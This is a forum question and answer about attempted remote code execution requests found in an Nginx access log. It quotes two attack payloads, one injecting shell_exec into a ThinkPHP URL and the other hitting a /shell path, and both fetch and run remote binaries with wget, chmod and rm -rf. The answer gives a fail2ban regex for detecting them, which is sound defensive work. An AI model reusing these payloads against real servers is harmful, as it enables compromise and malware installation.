Remote code execution attacks

Question

It is probably a very stupid question but I would like to confirm.

I found lines like

93.71.247.71 - - [19/Jan/2021:17:37:59 +0100] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://88.218.16.198/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 173 "-" "Uirusu/2.0"

or

71.208.10.233 - - [19/Jan/2021:09:27:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws HTTP/1.1" 301 185 "-" "Hello, world"

in my Nginx access log. A web search lead me to Block Remote Code Execution Ubuntu Server Fail2Ban & Cloudflare where people proposed to catch such attacks by appropriate statements in the server configuration.

However, as far as I can see the server responds with a 400 or 301 already. So my question is: Would a server configuration returning a 403, as proposed in the answer to the question I linked above, make any difference?

Answer 1

As regards the extra location (returning 403 or whatever), it really depends. Anyway it is not advisable to monitor access-log directly, please read fail2ban wiki :: Best practice, especially part with parasite log-traffic.

As for the failure messages, 400 is indeed already "good" to consider it as failure, whereas 301 is a permanent redirect (you seem to have some rule in nginx doing that), so to consider the code alone as a failure would be incorrect (you could get some false positives on legitimate user requests). So it would be better to find this nginx rule (location, rewrite, whatever) and correct it (make it more precise).

Either way, a failregex for above mentioned messages can be something like this:

failregex = ^<HOST> \S+ \S+ \[\] (?:"[A-Z]+ [^"]*" 40(?![14])\d|"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301)

As you can see it would match every 40x error excepting 401 and 404 (you can also use more precise pattern, like 40[035] instead.
But it also contains a part |"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301 to consider 301 too, so you can remove it if you fixed aforementioned weak nginx rule, redirecting such wrong requests. But at the moment, it would match only messages containing a query string starting with cd /tmp (with any combination of spaces before and after cd).